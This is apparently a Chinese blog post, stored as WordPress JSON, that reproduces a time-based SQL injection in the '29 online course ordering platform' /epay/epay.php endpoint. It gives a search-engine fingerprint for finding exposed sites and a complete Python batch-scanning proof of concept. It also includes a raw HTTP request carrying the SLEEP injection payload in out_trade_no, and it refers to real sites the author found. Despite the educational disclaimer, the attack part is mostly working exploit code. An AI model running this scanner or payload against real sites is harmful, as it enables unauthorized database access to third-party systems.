{"id":20831,"date":"2025-04-19T03:46:48","date_gmt":"2025-04-18T19:46:48","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/20831.html"},"modified":"2025-04-19T03:46:48","modified_gmt":"2025-04-18T19:46:48","slug":"%e3%80%90%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%e3%80%9129%e7%bd%91%e8%af%be%e4%ba%a4%e5%8d%95%e5%b9%b3%e5%8f%b0-sql%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/20831.html","title":{"rendered":"\u3010\u6f0f\u6d1e\u590d\u73b0\u301129\u7f51\u8bfe\u4ea4\u5355\u5e73\u53f0 SQL\u6ce8\u5165"},"content":{"rendered":"

\u58f0\u660e：\u672c\u6587\u6863\u6216\u6f14\u793a\u6750\u6599\u4ec5\u7528\u4e8e\u6559\u80b2\u548c\u6559\u5b66\u76ee\u7684\u3002\u5982\u679c\u4efb\u4f55\u4e2a\u4eba\u6216\u7ec4\u7ec7\u5229\u7528\u672c\u6587\u6863\u4e2d\u7684\u4fe1\u606f\u8fdb\u884c\u975e\u6cd5\u6d3b\u52a8，\u5c06\u4e0e\u672c\u6587\u6863\u7684\u4f5c\u8005\u6216\u53d1\u5e03\u8005\u65e0\u5173\u3002<\/p>\n

\u4e00\u3001\u6f0f\u6d1e\u63cf\u8ff0<\/h3>\n

29\u7f51\u8bfe\u4ea4\u5355\u5e73\u53f0\u662f\u4e00\u4e2a\u5728\u7ebf\u5b66\u4e60\u5e73\u53f0，\u7528\u4e8e\u5e2e\u52a9\u5b66\u751f\u5b8c\u6210\u7f51\u7edc\u8bfe\u7a0b\u7684\u5b66\u4e60\u4efb\u52a1\u3002\u8fd9\u4e2a\u5e73\u53f0\u63d0\u4f9b\u4e86\u5305\u62ec\u767b\u5f55\u3001\u6ce8\u518c\u3001\u7528\u6237\u754c\u9762\u3001\u4efb\u52a1\u8fdb\u5ea6\u5217\u8868\u7b49\u591a\u79cd\u529f\u80fd,\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u5e73\u53f0\u7ba1\u7406\u81ea\u5df1\u7684\u5b66\u4e60\u8fdb\u5ea6，\u67e5\u770b\u548c\u63d0\u4ea4\u4f5c\u4e1a\u7b49\u3002\u4f46\u662f\u8fd9\u4e2a\u4e8e\u5e73\u53f0\u5728\u00a0\/epay\/epay.php \u63a5\u53e3\u5904\u5b58\u5728sql\u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n

\u4e8c\u3001\u8d44\u4ea7\u6536\u96c6<\/h3>\n

1.\u4f7f\u7528\u7f51\u7edc\u7a7a\u95f4\u6d4b\u7ed8\u5f15\u64ce\u641c\u7d22<\/h4>\n

\u9e70\u56fe\u68c0\u7d22：web.body="\u4f60\u5728\u770b\u4ec0\u4e48\u5462？\u6211\u5199\u7684\u4ee3\u7801\u597d\u770b\u5417"<\/p>\n

\"\"<\/p>\n

2.\u4f7f\u7528poc\u6279\u91cf\u626b\u63cf<\/h4>\n

import http.client # \u5bfc\u5165http.client\u6a21\u5757，\u7528\u4e8e\u53d1\u9001HTTP\u8bf7\u6c42
\nimport ssl # \u5bfc\u5165ssl\u6a21\u5757，\u7528\u4e8e\u5904\u7406SSL\u8bc1\u4e66\u9a8c\u8bc1
\nimport argparse # \u5bfc\u5165argparse\u6a21\u5757，\u7528\u4e8e\u89e3\u6790\u547d\u4ee4\u884c\u53c2\u6570
\nfrom urllib.parse import urlparse # \u5bfc\u5165urlparse\u51fd\u6570，\u7528\u4e8e\u89e3\u6790URL
\nimport time # \u5bfc\u5165time\u6a21\u5757，\u7528\u4e8e\u8ba1\u7b97\u65f6\u95f4\u5dee<\/p>\n

# \u5b9a\u4e49\u63a7\u5236\u53f0\u8f93\u51fa\u989c\u8272\u4ee3\u7801
\nRED = '\\\\033[91m' # \u7ea2\u8272
\nRESET = '\\\\033[0m' # \u91cd\u7f6e\u989c\u8272<\/p>\n

def check_vulnerability(url):
\n """
\n \u68c0\u67e5\u7ed9\u5b9aURL\u662f\u5426\u5b58\u5728\u7279\u5b9a\u7684SQL\u6ce8\u5165\u6f0f\u6d1e\u3002
\n """
\n try:
\n # \u89e3\u6790URL，\u83b7\u53d6\u57df\u540d\u548c\u534f\u8bae
\n parsed_url = urlparse(url)<\/p>\n

# \u8bbe\u7f6e\u8bf7\u6c42\u7684\u8def\u5f84\u548c\u6570\u636e\u4f53
\n path = "\/epay\/epay.php" # \u8981\u8bf7\u6c42\u7684\u8def\u5f84<\/p>\n

# \u6784\u9020POST\u8bf7\u6c42\u7684\u6570\u636e\u4f53，\u5305\u542b\u6f5c\u5728\u7684SQL\u6ce8\u5165payload
\n body = "out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC"
\n headers = {
\n "Content-Type": "application\/x-www-form-urlencoded", # \u8bbe\u7f6eContent-Type\u5934
\n "User-Agent": "Mozilla\/5.0" # \u8bbe\u7f6eUser-Agent\u5934
\n }<\/p>\n

# \u6839\u636eURL\u7684\u534f\u8bae\u521b\u5efa\u8fde\u63a5\u5bf9\u8c61，\u5982\u679c\u662fHTTPS\u5219\u5ffd\u7565\u8bc1\u4e66\u9a8c\u8bc1
\n conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)<\/p>\n

# \u8bb0\u5f55\u5f00\u59cb\u65f6\u95f4
\n start_time = time.time()<\/p>\n

# \u53d1\u9001POST\u8bf7\u6c42
\n conn.request("POST", path, body=body, headers=headers)<\/p>\n

# \u83b7\u53d6\u670d\u52a1\u5668\u54cd\u5e94
\n response = conn.getresponse()<\/p>\n

# \u8ba1\u7b97\u8bf7\u6c42\u8017\u65f6
\n elapsed_time = time.time() – start_time<\/p>\n

# \u5982\u679c\u54cd\u5e94\u65f6\u95f4\u57283\u52305\u79d2\u4e4b\u95f4，\u53ef\u80fd\u8868\u660e\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e（\u56e0\u4e3awaitfor delay '0:0:3'\u4f1a\u5ef6\u8fdf\u54cd\u5e94）
\n if 3 <= elapsed_time <= 5:
\n print(f"{RED}URL [{url}] \u53ef\u80fd\u5b58\u572829\u7f51\u8bfe\u4ea4\u5355\u5e73\u53f0 epay.php SQL\u6ce8\u5165\u6f0f\u6d1e{RESET}")
\n else:
\n print(f"URL [{url}] \u4e0d\u5b58\u5728\u6f0f\u6d1e")
\n except Exception as e:
\n # \u5982\u679c\u8bf7\u6c42\u5931\u8d25，\u6253\u5370\u9519\u8bef\u4fe1\u606f
\n print(f"URL [{url}] \u8bf7\u6c42\u5931\u8d25： {e}")<\/p>\n

def main():
\n """
\n \u4e3b\u51fd\u6570，\u89e3\u6790\u547d\u4ee4\u884c\u53c2\u6570\u5e76\u8c03\u7528\u6f0f\u6d1e\u68c0\u67e5\u51fd\u6570\u3002
\n """
\n # \u521b\u5efa\u547d\u4ee4\u884c\u53c2\u6570\u89e3\u6790\u5668
\n parser = argparse.ArgumentParser(description='\u68c0\u6d4b\u76ee\u6807\u5730\u5740\u662f\u5426\u5b58\u572829\u7f51\u8bfe\u4ea4\u5355\u5e73\u53f0 epay.php SQL\u6ce8\u5165\u6f0f\u6d1e')<\/p>\n

# \u6dfb\u52a0\u547d\u4ee4\u884c\u53c2\u6570\u9009\u9879
\n parser.add_argument('-u', '–url', help='\u6307\u5b9a\u76ee\u6807\u5730\u5740')
\n parser.add_argument('-f', '–file', help='\u6307\u5b9a\u5305\u542b\u76ee\u6807\u5730\u5740\u7684\u6587\u672c\u6587\u4ef6')<\/p>\n

# \u89e3\u6790\u547d\u4ee4\u884c\u53c2\u6570
\n args = parser.parse_args()<\/p>\n

# \u5982\u679c\u6307\u5b9a\u4e86\u5355\u4e2aURL，\u8fdb\u884c\u6f0f\u6d1e\u68c0\u67e5
\n if args.url:
\n # \u786e\u4fddURL\u683c\u5f0f\u6b63\u786e
\n if not args.url.startswith("http:\/\/") and not args.url.startswith("https:\/\/"):
\n args.url = "http:\/\/" + args.url
\n check_vulnerability(args.url)<\/p>\n

# \u5982\u679c\u6307\u5b9a\u4e86\u5305\u542b\u591a\u4e2aURL\u7684\u6587\u4ef6，\u9010\u4e2a\u8bfb\u53d6\u5e76\u8fdb\u884c\u6f0f\u6d1e\u68c0\u67e5
\n elif args.file:
\n with open(args.file, 'r') as file:
\n urls = file.read().splitlines() # \u8bfb\u53d6\u6240\u6709\u884c\u5e76\u53bb\u9664\u6362\u884c\u7b26
\n for url in urls:
\n # \u786e\u4fddURL\u683c\u5f0f\u6b63\u786e
\n if not url.startswith("http:\/\/") and not url.startswith("https:\/\/"):
\n url = "http:\/\/" + url
\n check_vulnerability(url)<\/p>\n

# \u5f53\u4f5c\u4e3a\u4e3b\u7a0b\u5e8f\u8fd0\u884c\u65f6，\u8c03\u7528main\u51fd\u6570
\nif __name__ == '__main__':
\n main()<\/p>\n

cmd\u8fd0\u884c：python poc.py -f url.txt\"\"<\/p>\n

\u00a0\u968f\u673a\u5bfb\u627e\u7684\u5e78\u8fd0\u513f<\/p>\n

\"\"<\/p>\n

\u4e09\u3001\u6f0f\u6d1e\u590d\u73b0\u00a0<\/h3>\n

1.\u6784\u9020\u6570\u636e\u5305<\/h4>\n

POST \/epay\/epay.php HTTP\/1.1
\nHost:ip
\nContent-Type: application\/x-www-form-urlencoded<\/p>\n

out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC<\/p>\n

2.\u6570\u636e\u5305\u5206\u6790\u00a0<\/h4>\n
  • \n

    POST: \u8fd9\u662f\u4e00\u4e2aHTTP\u65b9\u6cd5，\u7528\u4e8e\u5411\u670d\u52a1\u5668\u63d0\u4ea4\u6570\u636e\u3002<\/p>\n<\/li>\n

  • \n

    \/epay\/epay.php: \u8fd9\u662f\u8bf7\u6c42\u7684URI，\u6307\u5b9a\u4e86\u670d\u52a1\u5668\u4e0a\u5904\u7406\u8fd9\u4e2a\u8bf7\u6c42\u7684\u5177\u4f53\u4f4d\u7f6e\u3002<\/p>\n<\/li>\n

  • \n

    HTTP\/1.1: \u8fd9\u662f\u4f7f\u7528\u7684HTTP\u534f\u8bae\u7248\u672c\u3002<\/p>\n<\/li>\n

  • \n

    Host: ip: \u8fd9\u91cc\u7684Host\u5934\u90e8\u5b57\u6bb5\u6307\u5b9a\u4e86\u63a5\u6536\u8bf7\u6c42\u7684\u670d\u52a1\u5668\u7684\u5730\u5740\u3002<\/p>\n<\/li>\n

  • \n

    Content-Type: application\/x-www-form-urlencoded: \u8fd9\u6307\u793a\u4e86\u8bf7\u6c42\u4f53（body）\u7684\u6570\u636e\u7f16\u7801\u683c\u5f0f\u3002<\/p>\n<\/li>\n

  • \n

    \u8bf7\u6c42\u4f53（Request Body）:out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC<\/p>\n